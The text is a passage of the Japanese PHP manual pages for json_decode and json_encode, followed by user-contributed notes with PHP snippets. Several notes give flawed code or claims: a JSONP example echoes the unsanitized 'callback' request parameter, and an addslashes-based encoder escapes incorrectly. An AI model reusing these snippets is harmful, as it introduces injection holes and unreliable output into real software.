$bad_json = '{ bar: "baz" }';
json_decode($bad_json); // null

// 最後にカンマをつけてはいけません
$bad_json = '{ bar: "baz", }';
json_decode($bad_json); // null

?>

例4 depth エラー

<?php
// データをエンコードします。ネストの深さは4です (array -> array -> array -> string)
$json = json_encode(
    array(
        1 => array(
            'English' => array(
                'One',
                'January'
            ),
            'French' => array(
                'Une',
                'Janvier'
            )
        )
    )
);

// さまざまな深さのエラーを表示します
var_dump(json_decode($json, true, 4));
echo 'Last error: ', json_last_error_msg(), PHP_EOL, PHP_EOL;

var_dump(json_decode($json, true, 3));
echo 'Last error: ', json_last_error_msg(), PHP_EOL, PHP_EOL;
?>

上の例の出力は以下となります。

array(1) {
  [1]=>
  array(2) {
    ["English"]=>
    array(2) {
      [0]=>
      string(3) "One"
      [1]=>
      string(7) "January"
    }
    ["French"]=>
    array(2) {
      [0]=>
      string(3) "Une"
      [1]=>
      string(7) "Janvier"
    }
  }
}
Last error: No error

NULL
Last error: Maximum stack depth exceeded

例5 json_decode() で大きな整数値を扱う例

<?php
$json = '{"number": 12345678901234567890}';

var_dump(json_decode($json));
var_dump(json_decode($json, false, 512, JSON_BIGINT_AS_STRING));

?>

上の例の出力は以下となります。

object(stdClass)#1 (1) {
  ["number"]=>
  float(1.2345678901235E+19)
}
object(stdClass)#1 (1) {
  ["number"]=>
  string(20) "12345678901234567890"
}

注意

注意:

JSON の仕様は JavaScript そのものではなく、JavaScript のサブセットです。

注意:

デコードに失敗した場合は、json_last_error() を使用すればエラーの正確な状態を知ることができます。

参考

  • json_encode() - 値を JSON 形式にして返す
  • json_last_error() - 直近に発生したエラーを返す

User Contributed Notes

mattia 06-Feb-2021 08:51
if you're using ajax to post, and your JavaScript code looks like this:

<code>
    var xhttp = new XMLHttpRequest();
    xhttp.open("POST", "something.php", true);
    xhttp.setRequestHeader("Content-Type", "application/json");
    xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
             // do something
        }
    };
    var data = {some: "thing"};
    xhttp.send(JSON.stringify(data));
</code>

then in <code>something.php</code> you can retrieve your json by doing

<?php
$data = json_decode(file_get_contents("php://input"), true);
?>
cubefox at web dot NOSPAMPLEASE dot de 11-Nov-2020 01:18
Warning: As the section "return values" mentions, the return value NULL is ambiguos. To repeat, it can mean three things:

* The input string had the value "null"
* There was an error while parsing the input data
* The encoded data was deeper than the recursion limit

To distinguish these cases, json_last_error() can be used.


値を JSON 形式にして返す

  • ≪ json_decode
  • json_last_error_msg ≫
  • PHP Manual
  • JSON 関数
  • 値を JSON 形式にして返す

json_encode

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL json >= 1.2.0)

json_encode — 値を JSON 形式にして返す

説明

json_encode ( mixed $value , int $flags = 0 , int $depth = 512 ) : string|false

与えられた value を JSON 形式にした文字列を返します。

エンコーディングは、flags の指定によって影響を受けます。 さらに、浮動小数点のエンコーディングは、 serialize_precision の値によっても影響を受けます。

パラメータ

value

エンコードする値。 リソース 型以外の任意の型を指定できます。

すべての文字列データは、UTF-8 エンコードされていなければいけません。

注意:

PHP の実装は、 » RFC 7159 の JSON のスーパーセットです。

flags

JSON_FORCE_OBJECT, JSON_HEX_QUOT, JSON_HEX_TAG, JSON_HEX_AMP, JSON_HEX_APOS, JSON_INVALID_UTF8_IGNORE, JSON_INVALID_UTF8_SUBSTITUTE, JSON_NUMERIC_CHECK, JSON_PARTIAL_OUTPUT_ON_ERROR, JSON_PRESERVE_ZERO_FRACTION, JSON_PRETTY_PRINT, JSON_UNESCAPED_LINE_TERMINATORS, JSON_UNESCAPED_SLASHES, JSON_UNESCAPED_UNICODE, JSON_THROW_ON_ERROR からなるビットマスク。 各定数の意味については JSON 定数のページ に説明があります。

depth

最大の深さを設定します。正の数でなければいけません。

返り値

成功した場合に、JSON エンコードされた文字列を返します。 失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.3.0 | flags パラメータに JSON_THROW_ON_ERROR が追加されました。
7.2.0 | flags パラメータに JSON_INVALID_UTF8_IGNORE と JSON_INVALID_UTF8_SUBSTITUTE が追加されました。
7.1.0 | flags パラメータに JSON_UNESCAPED_LINE_TERMINATORS が追加されました。
7.1.0 | double 値をエンコードする際に、 precision ではなく serialize_precision を使うようになりました。

例

例1 json_encode() の例

<?php
$arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5);

echo json_encode($arr);
?>

上の例の出力は以下となります。

{"a":1,"b":2,"c":3,"d":4,"e":5}

例2 json_encode() で、利用中のいくつかのフラグを表示する例

<?php
$a = array('<foo>',"'bar'",'"baz"','&blong&', "\xc3\xa9");

echo "Normal: ",  json_encode($a), "\n";
echo "Tags: ",    json_encode($a, JSON_HEX_TAG), "\n";
echo "Apos: ",    json_encode($a, JSON_HEX_APOS), "\n";
echo "Quot: ",    json_encode($a, JSON_HEX_QUOT), "\n";
echo "Amp: ",     json_encode($a, JSON_HEX_AMP), "\n";
echo "Unicode: ", json_encode($a, JSON_UNESCAPED_UNICODE), "\n";
echo "All: ",     json_encode($a, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP | JSON_UNESCAPED_UNICODE), "\n\n";

$b = array();

echo "Empty array output as array: ", json_encode($b), "\n";
echo "Empty array output as object: ", json_encode($b, JSON_FORCE_OBJECT), "\n\n";

$c = array(array(1,2,3));

echo "Non-associative array output as array: ", json_encode($c), "\n";
echo "Non-associative array output as object: ", json_encode($c, JSON_FORCE_OBJECT), "\n\n";

$d = array('foo' => 'bar', 'baz' => 'long');

echo "Associative array always output as object: ", json_encode($d), "\n";
echo "Associative array always output as object: ", json_encode($d, JSON_FORCE_OBJECT), "\n\n";
?>

上の例の出力は以下となります。

Normal: ["<foo>","'bar'","\"baz\"","&blong&","\u00e9"]
Tags: ["\u003Cfoo\u003E","'bar'","\"baz\"","&blong&","\u00e9"]
Apos: ["<foo>","\u0027bar\u0027","\"baz\"","&blong&","\u00e9"]
Quot: ["<foo>","'bar'","\u0022baz\u0022","&blong&","\u00e9"]
Amp: ["<foo>","'bar'","\"baz\"","\u0026blong\u0026","\u00e9"]
Unicode: ["<foo>","'bar'","\"baz\"","&blong&","e"]
All: ["\u003Cfoo\u003E","\u0027bar\u0027","\u0022baz\u0022","\u0026blong\u0026","e"]

Empty array output as array: []
Empty array output as object: {}

Non-associative array output as array: [[1,2,3]]
Non-associative array output as object: {"0":{"0":1,"1":2,"2":3}}

Associative array always output as object: {"foo":"bar","baz":"long"}
Associative array always output as object: {"foo":"bar","baz":"long"}

例3 JSON_NUMERIC_CHECK の例

<?php
echo "Strings representing numbers automatically turned into numbers".PHP_EOL;
$numbers = array('+123123', '-123123', '1.2e3', '0.00001');
var_dump(
 $numbers,
 json_encode($numbers, JSON_NUMERIC_CHECK)
);
echo "Strings containing improperly formatted numbers".PHP_EOL;
$strings = array('+a33123456789', 'a123');
var_dump(
 $strings,
 json_encode($strings, JSON_NUMERIC_CHECK)
);
?>

上の例の出力は、 たとえば以下のようになります。

Strings representing numbers automatically turned into numbers
array(4) {
  [0]=>
  string(7) "+123123"
  [1]=>
  string(7) "-123123"
  [2]=>
  string(5) "1.2e3"
  [3]=>
  string(7) "0.00001"
}
string(28) "[123123,-123123,1200,1.0e-5]"
Strings containing improperly formatted numbers
array(2) {
  [0]=>
  string(13) "+a33123456789"
  [1]=>
  string(4) "a123"
}
string(24) "["+a33123456789","a123"]"

例4 シーケンシャルな配列とそうでない配列の例

<?php
echo "Sequential array".PHP_EOL;
$sequential = array("foo", "bar", "baz", "blong");
var_dump(
 $sequential,
 json_encode($sequential)
);

echo PHP_EOL."Non-sequential array".PHP_EOL;
$nonsequential = array(1=>"foo", 2=>"bar", 3=>"baz", 4=>"blong");
var_dump(
 $nonsequential,
 json_encode($nonsequential)
);

echo PHP_EOL."Sequential array with one key unset".PHP_EOL;
unset($sequential[1]);
var_dump(
 $sequential,
 json_encode($sequential)
);
?>

上の例の出力は以下となります。

Sequential array
array(4) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(3) "baz"
  [3]=>
  string(5) "blong"
}
string(27) "["foo","bar","baz","blong"]"

Non-sequential array
array(4) {
  [1]=>
  string(3) "foo"
  [2]=>
  string(3) "bar"
  [3]=>
  string(3) "baz"
  [4]=>
  string(5) "blong"
}
string(43) "{"1":"foo","2":"bar","3":"baz","4":"blong"}"

Sequential array with one key unset
array(3) {
  [0]=>
  string(3) "foo"
  [2]=>
  string(3) "baz"
  [3]=>
  string(5) "blong"
}
string(33) "{"0":"foo","2":"baz","3":"blong"}"

例5 JSON_PRESERVE_ZERO_FRACTION の例

<?php
var_dump(json_encode(12.0, JSON_PRESERVE_ZERO_FRACTION));
var_dump(json_encode(12.0));
?>

上の例の出力は以下となります。

string(4) "12.0"
string(2) "12"

注意

注意:

エンコードに失敗した場合は、json_last_error() を使ってエラーの内容を調べることができます。

注意:

配列をエンコードする場合、もし配列のキーが 0 からはじまる連続した数値でなければ、 すべてのキーを文字列としてエンコードします。 そして、個々のキー/値のペアを明示的に指定します。

注意:

JSON エンコーダーのリファレンス実装と同様、 string や int、 float そして bool を入力として渡したときに json_encode() が生成する JSON はシンプルな値 (オブジェクトでもないし配列でもないもの) となります。 大半のエンコーダーはこういった値を妥当な JSON として扱いますが、中にはそうでないものもあります。 そのため、現時点ではこの仕様は不明瞭です。

要するに、json_encode() で生成した JSON が、あなたの使おうとしているデコーダーでデコードできるかどうかを常に確認する必要があるということです。

参考

  • JsonSerializable
  • json_decode() - JSON 文字列をデコードする
  • json_last_error() - 直近に発生したエラーを返す
  • serialize() - 値の保存可能な表現を生成する

User Contributed Notes

jakepucan at gmail dot com 05-Feb-2021 08:59
It's also  worth mentioning that adding charset is fine.

<?php
header('Content-type:application/json;CHARSET=shift-jis');
json_encode(['name' => 'Jake', 'country' => 'Philippines']);
msegit post pl 16-Feb-2020 05:02
Note, string keys have to be UTF-8 also! (So array_walk_recursive() isn't good way)

Consider this solution for fixing invalid UTF-8:

<?php
//$a=array('za?o?? g??l? ja?? ZA?O?? G??L? JA??', 'Paicao'=>3, 4=>array('??=>5, '?', 6));
$a=array(urldecode('za%BF%F3%B3%E6+g%EA%9Cl%B9+ja%9F%F1+ZA%AF%D3%A3%C6+G%CA%8CL%A5+JA%8F%D1'), urldecode('Pai%E7ao')=>3, 4=>array('??'=>5, '?', 6)); // (for better example, independent of .php file charset)

var_dump($a);

// Normal test
echo json_encode($a, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_FORCE_OBJECT | JSON_UNESCAPED_SLASHES);
// Kind of error depends on PHP version...:
// false or '{"0":null,null:3,"4":{null:5,"0":null,"1":6}}'

if (!function_exists('urlencode_recurs')) {
function urlencode_recurs(&$arr) {
    foreach ($arr as $key => &$val) {
        if (is_array($val)) {
            urlencode_recurs($val);
            $newarr[(is_string($key) ? urlencode($key) : $key)] = $val;    // Not $arr[...] = ..., to preserve keys/elements order
        } else {
            $newarr[(is_string($key) ? urlencode($key) : $key)] = (is_string($val) ? urlencode($val) : $val);    // Not $arr[...] = ..., to preserve keys/elements order
            //if (is_string($key)) unset($arr[$key]);    // Not this, to preserve keys/elements order, as above
        }
    }
    $arr = $newarr;
} }

if (is_array($a)) urlencode_recurs($a);

// Fixed test
echo urldecode(json_encode($a, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_FORCE_OBJECT | JSON_UNESCAPED_SLASHES));
// '{"0":"za?o?? g??l? ja?? ZA?O?? G??L? JA??","Paicao":3,"4":{"??":5,"0":"?","1":6}}'
?>
avner at klido dot net 11-Nov-2019 06:59
json_encode will encode array as object if the array;s keys are not sequential starting with zero

$a = [0=>'a', 1=>'b', 2=>[0 => 'aa', 1 => 'c', 2 => 'dd']];
var_dump(json_encode($a));     //["a","b",["aa","c","dd"]]

$b = [1=>'a', 2=>'b', 3=>[0 => 'aa', 1 => 'c', 2 => 'dd']];
var_dump(jsoon_encode($b));  // {"1":"a","2":"b","3":["aa","c","dd"]}

i would expect PHP to follow the original structure or at least add a parameter to do so
jugcosta at ymail dot com 06-Nov-2019 09:31
<?php
error_reporting(0);
ini_set('display_errors', FALSE);

$file= __DIR__ . '/utf8.csv';

    function csvtojson($inputFile,$delimiter)
    {

            if (($handleFile = fopen($inputFile, 'r')) == false) {
                throw new Exception("Nao foi possivel abrir o arquivo para importar: '$file'");
            }

            $dados = array();

            while (($data = fgetcsv($handleFile, 4000, $delimiter)) !== false) {
                $data = array_map('trim', $data);

                if (! isset($keys)) {
                    $keys = array_map('trim', $data);
                    continue;
                }

                $dados[] =  array_combine($keys, $data);

            }

        $result = json_encode($dados, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE |JSON_NUMERIC_CHECK | JSON_PRETTY_PRINT);
        echo $result;

        $arquivo = "data_".date('ymdhis').".json";
        $fp = fopen($arquivo, "a+");
        fwrite($fp, $result);

        fclose($handleFile);
        fclose($fp);

    }

    $jsonresult = csvtojson($file, ";");

?>
karsten at dambekalns dot de 01-Oct-2019 09:17
Be aware that when an error occurs, the return value might be NULL unexpectedly. Example: When running this on PHP < 7.3, you do not get back a string:

json_encode('ok', JSON_THROW_ON_ERROR, 512);

The constant not being available produces a warning and results in NULL being returned (see https://3v4l.org/ku5AH) - I'd expect false, since that's a failure, or "ok" as the encoded result. YMMV.
Anonymous 19-Mar-2019 08:35
json_encode(), besides its obvious primary use case of sending data to the client, makes for an excellent alternative to var_dump() in combination with the JSONView browser extension. This is especially true if you're unable to install XDebug on your development machine for whatever reason and can't get their pretty-printed var_dump() function to work.
Nick 04-Aug-2016 01:47
Please note that there was an (as of yet) undocumented change to the json_encode() function between 2 versions of PHP with respect to JSON_PRETTY_PRINT:

In version 5.4.21 and earlier, an empty array [] using JSON_PRETTY_PRINT would be rendered as 3 lines, with the 2nd one an empty (indented) line, i.e.:
    "data": [

    ],

In version 5.4.34 and above, an empty array [] using JSON_PRETTY_PRINT would be rendered as exactly [] at the spot where it occurs, i.e.
    "data: [],

This is not mentioned anywhere in the PHP changelist and migration documentations; neither on the json_encode documentation page.

This is very useful to know when you are parsing the JSON using regular expressions to manually insert portions of data, as is the case with my current use-case (working with JSON exports of over several gigabytes requires sub-operations and insertion of data).
ravenswd at gmail dot com 25-Feb-2016 01:41
This isn't mentioned in the documentation for either PHP or jQuery, but if you're passing JSON data to a javascript program, make sure your program begins with:

<?php
header('Content-Type: application/json');
?>
Walter Tross 18-Nov-2015 10:02
If you need pretty-printed output, but want it indented by 2 spaces instead of 4:

$json_indented_by_4 = json_encode($output, JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);
$json_indented_by_2 = preg_replace('/^(  +?)\\1(?=[^ ])/m', '$1', $json_indented_by_4);
Goran 03-Apr-2015 07:00
This function has weird behavior regarding error reporting in PHP version 5.4 or lower. This kind of warning is raised only if you configure PHP with "display_errors=Off" (!?): "PHP Warning:  json_encode(): Invalid UTF-8 sequence in argument ..."

You can reproduce this behavior:
<?php
// Warning not displayed, not logged
ini_set('display_errors', '1');
json_encode(urldecode('bad utf string %C4_'));

// Warning not displayed but logged
ini_set('display_errors', '0');
json_encode(urldecode('bad utf string %C4_'));
?>

This is considered feature - not-a-bug - by PHP devs:
https://bugs.php.net/bug.php?id=52397
https://bugs.php.net/bug.php?id=63004
ninjSPAM at informanceSPAM dot info 15-Sep-2014 09:48
Although this is not documented on the version log here, non-UTF8 handling behaviour has changed in 5.5, in a way that can make debugging difficult.

Passing a non UTF-8 string to json_encode() will make the function return false in PHP 5.5, while it will only nullify this string (and only this one) in previous versions.

In a Latin-1 encoded file, write this:
<?php
$a = array('e', 1);
var_dump(json_encode($a));
?>

PHP < 5.4:
string(8) "[null,1]"

PHP >= 5.5:
bool(false)

PHP 5.5 has it right of course (if encoding fails, return false) but its likely to introduce errors when updating to 5.5 because previously you could get the rest of the JSON even when one string was not in UTF8 (if this string wasn't used, you'd never notify it's nulled)
Ray.Paseur often uses Gmail 02-Sep-2014 06:15
If you're wondering whether a JSON string can be an analog of an XML document, the answer is probably "nope."  XML supports attributes, but JSON does not.  A JSON string generated by json_encode(), when called on a SimpleXML object, will not have the attributes and no error or exception will issue - the original data will simply be lost.  To see this in action:
<?php
error_reporting(E_ALL);
echo '<pre>';

// STARTING FROM XML
$xml = <<<EOD
<?xml version="1.0" ?>
<ingredients>
  <ingredient>
     <name>tomatoes</name>
     <quantity type="cup">4</quantity>
  </ingredient>
  <ingredient>
     <name>salt</name>
     <quantity type="tablespoon">2</quantity>
  </ingredient>
</ingredients>
EOD;

// CREATES AN ARRAY OF SimpleXMLElement OBJECTS
$obj = SimpleXML_Load_String($xml);
var_dump($obj);
echo PHP_EOL;

// SHOW THE ATTRIBUTES HIDDEN IN THE SimpleXMLElement OBJECTS
foreach ($obj as $sub)
{
    echo PHP_EOL . (string)$sub->quantity . ' ' . (string)$sub->quantity['type'];
}
echo PHP_EOL;

// USING THE OBJECT, CREATE A JSON STRING
$jso = json_encode($obj);
echo htmlentities($jso); // 'type' IS LOST
echo PHP_EOL;
info at pkrules dot in 06-Nov-2013 01:24
Notice the last json_decode does not working :) ,you need to use a variable to use the encoded data in json_decode():-
<?php
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);

echo json_encode($arr)."<br />";
//{"a":1,"b":2,"c":3,"d":4,"e":5}

print_r (json_decode(json_encode($arr)));
//stdClass Object ( [a] => 1 [b] => 2 [c] => 3 [d] => 4 [e] => 5 )
echo "<br />";
$var=json_encode($arr);
print_r (json_decode($var,true));
//Array ( [a] => 1 [b] => 2 [c] => 3 [d] => 4 [e] => 5 )
echo "<br />";
print_r (json_decode(json_encode($arr)),true);//no output
?>
eep2004 at ukr dot net 13-Sep-2013 05:45
<?php

// alternative json_encode
function _json_encode($val)
{
    if (is_string($val)) return '"'.addslashes($val).'"';
    if (is_numeric($val)) return $val;
    if ($val === null) return 'null';
    if ($val === true) return 'true';
    if ($val === false) return 'false';

    $assoc = false;
    $i = 0;
    foreach ($val as $k=>$v){
        if ($k !== $i++){
            $assoc = true;
            break;
        }
    }
    $res = array();
    foreach ($val as $k=>$v){
        $v = _json_encode($v);
        if ($assoc){
            $k = '"'.addslashes($k).'"';
            $v = $k.':'.$v;
        }
        $res[] = $v;
    }
    $res = implode(',', $res);
    return ($assoc)? '{'.$res.'}' : '['.$res.']';
}

?>

Example:
Array
(
    [0] => 7
    [1] => false
    [2] => Array
        (
            ['a'] => Array
                (
                    [0] => 1
                    [1] => 2
                    [3] => Array
                        (
                            [1] => true
                            [2] => 6
                            [0] => 4
                        )
                    [4] => Array
                        (
                            [0] => 'b'
                            [1] => null
                        )
                )
        )
)
Result: [7,false,{"a":{"0":1,"1":2,"3":{"1":true,"2":6,"0":4},"4":["b",null]}}]

This function is more accurate and faster than, for example, that one:
http://www.php.net/manual/ru/function.json-encode.php#89908
(RU: эта функция работает более точно и быстрее, чем указанная выше).
CertaiN 08-Jul-2013 03:51
<?php

$fp = fopen('php://stdin', 'r');
$json = @json_encode(array('a' => 'foo', 'b' => $fp));
var_dump($json);

?>

[PHP5.5 or after]
bool(false)

[PHP 5.4 or before]
string(20) "{"a":"foo","b":null}"
guilhenfsu at gmail dot com 22-Apr-2013 08:35
Solution for UTF-8 Special Chars.

<?

$array = array('nome'=>'Paicao','cidade'=>'Sao Paulo');

$array = array_map('htmlentities',$array);

//encode
$json = html_entity_decode(json_encode($array));

//Output: {"nome":"Paicao","cidade":"Sao Paulo"}
echo $json;

?>
ck at ergovia dot de 28-Mar-2013 11:40
Attention when passing a plain array to json_encode and using JSON_FORCE_OBJECT. It figured out that the index-order of the resulting JSON-string depends on the system PHP is running on.

$a = array("a" , "b", "c");
echo json_encode($a, JSON_FORCE_OBJECT);

On Xampp (Windows) you get:

{"0":"a","1":"b","2":"c"}';

On a machine running debian I get:

{"2":"a","1":"b","0":"c"}';

Note that the key:value pairs are different!

Solution here was to use array_combine to create a ssociative array and then pass it to json_encode:

json_encode(array_combine(range(0, count($a) - 1), $a), JSON_FORCE_OBJECT);
webmaster_php at colnect dot com 22-Feb-2012 03:52
WARNING! Do not pass associative arrays if the order is important to you. It seems that while FireFox does keep the same order, both Chrome and IE sort it. Here's a little workaround:

<?php
        $arWrapper = array();
        $arWrapper['k'] = array_keys($arChoices);
        $arWrapper['v'] = array_values($arChoices);
        $json = json_encode($arWrapper);
?>
bohwaz 23-Nov-2011 05:05
Are you sure you want to use JSON_NUMERIC_CHECK, really really sure?

Just watch this usecase:

<?php
// International phone number
json_encode(array('phone_number' => '+33123456789'), JSON_NUMERIC_CHECK);
?>

And then you get this JSON:

{"phone_number":33123456789}

Maybe it makes sense for PHP (as is_numeric('+33123456789') returns true), but really, casting it as an int?!

So be careful when using JSON_NUMERIC_CHECK, it may mess up with your data!
devilan (REMOVEIT) (at) o2 (dot) pl 15-Sep-2011 12:39
For PHP5.3 users who want to emulate JSON_UNESCAPED_UNICODE, there is simple way to do it:
<?php
function my_json_encode($arr)
{
        //convmap since 0x80 char codes so it takes all multibyte codes (above ASCII 127). So such characters are being "hidden" from normal json_encoding
        array_walk_recursive($arr, function (&$item, $key) { if (is_string($item)) $item = mb_encode_numericentity($item, array (0x80, 0xffff, 0, 0xffff), 'UTF-8'); });
        return mb_decode_numericentity(json_encode($arr), array (0x80, 0xffff, 0, 0xffff), 'UTF-8');

}
?>
pvl dot kolensikov at gmail dot com 28-Mar-2011 08:35
As json_encode() is recursive, you can use it to serialize whole structure of objects.

<?php
class A {
    public $a = 1;
    public $b = 2;
    public $collection = array();

    function  __construct(){
        for ( $i=3; $i-->0;){
            array_push($this->collection, new B);
        }
    }
}

class B {
    public $a = 1;
    public $b = 2;
}

echo json_encode(new A);
?>

Will give:

{
    "a":1,
    "b":2,
    "collection":[{
        "a":1,
        "b":2
    },{
        "a":1,
        "b":2
    },{
        "a":1,
        "b":2
    }]
}
Mathias Leppich 24-Feb-2011 10:29
If you need a json_encode / json_decode which is array/object/assoc-array you might want to use: http://gist.github.com/820694

<?php
$dataIn = (object)array(
    "assoc" => array("cow"=>"moo"),
    "object" => (object)array("cat"=>"miao"),
);
/*
== IN
object(stdClass)#2 (2) {
  ["assoc"]=>
  array(1) {
    ["cow"]=>
    string(3) "moo"
  }
  ["object"]=>
  object(stdClass)#1 (1) {
    ["cat"]=>
    string(4) "miao"
  }
}

== JSON
{"assoc":{"_PHP_ASSOC":{"cow":"moo"}},"object":{"cat":"miao"}}

== OUT
object(stdClass)#4 (2) {
  ["assoc"]=>
  array(1) {
    ["cow"]=>
    string(3) "moo"
  }
  ["object"]=>
  object(stdClass)#7 (1) {
    ["cat"]=>
    string(4) "miao"
  }
}
*/
?>
bohwaz 26-Jan-2011 02:00
This is intended to be a simple readable json encode function for PHP 5.3+ (and licensed under GNU/AGPLv3 or GPLv3 like you prefer):

<?php

function json_readable_encode($in, $indent = 0, $from_array = false)
{
    $_myself = __FUNCTION__;
    $_escape = function ($str)
    {
        return preg_replace("!([\b\t\n\r\f\"\\'])!", "\\\\\\1", $str);
    };

    $out = '';

    foreach ($in as $key=>$value)
    {
        $out .= str_repeat("\t", $indent + 1);
        $out .= "\"".$_escape((string)$key)."\": ";

        if (is_object($value) || is_array($value))
        {
            $out .= "\n";
            $out .= $_myself($value, $indent + 1);
        }
        elseif (is_bool($value))
        {
            $out .= $value ? 'true' : 'false';
        }
        elseif (is_null($value))
        {
            $out .= 'null';
        }
        elseif (is_string($value))
        {
            $out .= "\"" . $_escape($value) ."\"";
        }
        else
        {
            $out .= $value;
        }

        $out .= ",\n";
    }

    if (!empty($out))
    {
        $out = substr($out, 0, -2);
    }

    $out = str_repeat("\t", $indent) . "{\n" . $out;
    $out .= "\n" . str_repeat("\t", $indent) . "}";

    return $out;
}

?>
dan at elearnapp dot com 13-Jan-2011 12:01
If you need to force an object (ex: empty array) you can also do:

         <?php json_encode( (object)$arr ); ?>

which acts the same as

         <?php json_encode($arr, JSON_FORCE_OBJECT); ?>
nicolas dot baptiste at gmail dot com 18-Aug-2010 08:49
Beware of index arrays :

<?php
echo json_encode(array("test","test","test"));
echo json_encode(array(0=>"test",3=>"test",7=>"test"));
?>

Will give :

["test","test","test"]
{"0":"test","3":"test","7":"test"}

arrays are returned only if you don't define index.
mic dot sumner at gmail dot com 02-Jul-2010 06:39
Hey everyone,

In my application, I had objects that modeled database rows with a few one to many relationships, so one object may have an array of other objects.

I wanted to make the object properties private and use getters and setters, but I needed them to be serializable to json without losing the private variables. (I wanted to promote good coding practices but I needed the properties on the client side.) Because of this, I needed to encode not only the normal private properties but also properties that were arrays of other model objects. I looked for awhile with no luck, so I coded my own:

You can place these methods in each of your classes, or put them in a base class, as I've done. (But note that for this to work, the children classes must declare their properties as protected so the parent class has access)

<?php
abstract class Model {

   public function toArray() {
        return $this->processArray(get_object_vars($this));
    }

    private function processArray($array) {
        foreach($array as $key => $value) {
            if (is_object($value)) {
                $array[$key] = $value->toArray();
            }
            if (is_array($value)) {
                $array[$key] = $this->processArray($value);
            }
        }
        // If the property isn't an object or array, leave it untouched
        return $array;
    }

    public function __toString() {
        return json_encode($this->toArray());
    }

}
?>

Externally, you can just call

<?php
    echo $theObject;
    //or
    echo json_encode($theObject->toArray());
?>

And you'll get the json for that object. Hope this helps someone!
ryan at ryanparman dot com 27-Mar-2010 01:36
I came across the "bug" where running json_encode() over a SimpleXML object was ignoring the CDATA. I ran across http://bugs.php.net/42001 and http://bugs.php.net/41976, and while I agree with the poster that the documentation should clarify gotchas like this, I was able to figure out how to workaround it.

You need to convert the SimpleXML object back into an XML string, then re-import it back into SimpleXML using the LIBXML_NOCDATA option. Once you do this, then you can use json_encode() and still get back the CDATA.

<?php
// Pretend we already have a complex SimpleXML object stored in $xml
$json = json_encode(new SimpleXMLElement($xml->asXML(), LIBXML_NOCDATA));
?>
5hunter5 at mail dot ru 17-Feb-2010 03:03
If I want to encode object whith all it's private and protected properties, then I implements that methods in my object:

<?php
public function encodeJSON()
{
    foreach ($this as $key => $value)
    {
        $json->$key = $value;
    }
    return json_encode($json);
}
public function decodeJSON($json_str)
{
    $json = json_decode($json_str, 1);
    foreach ($json as $key => $value)
    {
        $this->$key = $value;
    }
}
?>

Or you may extend your class from base class, wich is implements that methods.

Found that much more simple than regular expressions with PHP serialized objects...
garydavis at gmail dot com 14-Jan-2010 07:38
If you are planning on using this function to serve a json file, it's important to note that the json generated by this function is not ready to be consumed by javascript until you wrap it in parens and add ";" to the end.

It took me a while to figure this out so I thought I'd save others the aggravation.

<?php
    header('Content-Type: text/javascript; charset=utf8');
    header('Access-Control-Allow-Origin: http://www.example.com/');
    header('Access-Control-Max-Age: 3628800');
    header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');

    $file='rss.xml';
    $arr = simplexml_load_file($file);//this creates an object from the xml file
    $json= '('.json_encode($arr).');'; //must wrap in parens and end with semicolon
    print_r($_GET['callback'].$json); //callback is prepended for json-p
?>
simoncpu was here 20-Oct-2009 02:18
A note of caution: If you are wondering why json_encode() encodes your PHP array as a JSON object instead of a JSON array, you might want to double check your array keys because json_encode() assumes that you array is an object if your keys are not sequential.

e.g.:

<?php
$myarray = Array('isa', 'dalawa', 'tatlo');
var_dump($myarray);
/* output
array(3) {
  [0]=>
  string(3) "isa"
  [1]=>
  string(6) "dalawa"
  [2]=>
  string(5) "tatlo"
}
*/
?>

As you can see, the keys are sequential; $myarray will be correctly encoded as a JSON array.

<?php
$myarray = Array('isa', 'dalawa', 'tatlo');

unset($myarray[1]);
var_dump($myarray);
/* output
array(2) {
  [0]=>
  string(3) "isa"
  [2]=>
  string(5) "tatlo"
}
*/
?>

Unsetting an element will also remove the keys. json_encode() will now assume that this is an object, and will encode it as such.

SOLUTION: Use array_values() to re-index the array.
Istratov Vadim 09-Jun-2009 11:54
Be careful with floating values in some locales (e.g. russian) with comma (",") as decimal point. Code:

<?php
setlocale(LC_ALL, 'ru_RU.utf8');

$arr = array('element' => 12.34);
echo json_encode( $arr );
?>

Output will be:
--------------
{"element":12,34}
--------------

Which is NOT a valid JSON markup. You should convert floating point variable to strings or set locale to something like "LC_NUMERIC, 'en_US.utf8'" before using json_encode.
Sam Barnum 20-Apr-2009 11:01
Note that if you try to encode an array containing non-utf values, you'll get null values in the resulting JSON string.  You can batch-encode all the elements of an array with the array_map function:
<?php
$encodedArray = array_map(utf8_encode, $rawArray);
?>
andyrusterholz at g-m-a-i-l dot c-o-m 27-Mar-2009 11:17
For anyone who would like to encode arrays into JSON, but is using PHP 4, and doesn't want to wrangle PECL around, here is a function I wrote in PHP4 to convert nested arrays into JSON.

Note that, because javascript converts JSON data into either nested named objects OR vector arrays, it's quite difficult to represent mixed PHP arrays (arrays with both numerical and associative indexes) well in JSON. This function does something funky if you pass it a mixed array -- see the comments for details.

I don't make a claim that this function is by any means complete (for example, it doesn't handle objects) so if you have any improvements, go for it.

<?php

/**
 * Converts an associative array of arbitrary depth and dimension into JSON representation.
 *
 * NOTE: If you pass in a mixed associative and vector array, it will prefix each numerical
 * key with "key_". For example array("foo", "bar" => "baz") will be translated into
 * {"key_0": "foo", "bar": "baz"} but array("foo", "bar") would be translated into [ "foo", "bar" ].
 *
 * @param $array The array to convert.
 * @return mixed The resulting JSON string, or false if the argument was not an array.
 * @author Andy Rusterholz
 */
function array_to_json( $array ){

    if( !is_array( $array ) ){
        return false;
    }

    $associative = count( array_diff( array_keys($array), array_keys( array_keys( $array )) ));
    if( $associative ){

        $construct = array();
        foreach( $array as $key => $value ){

            // We first copy each key/value pair into a staging array,
            // formatting each key and value properly as we go.

            // Format the key:
            if( is_numeric($key) ){
                $key = "key_$key";
            }
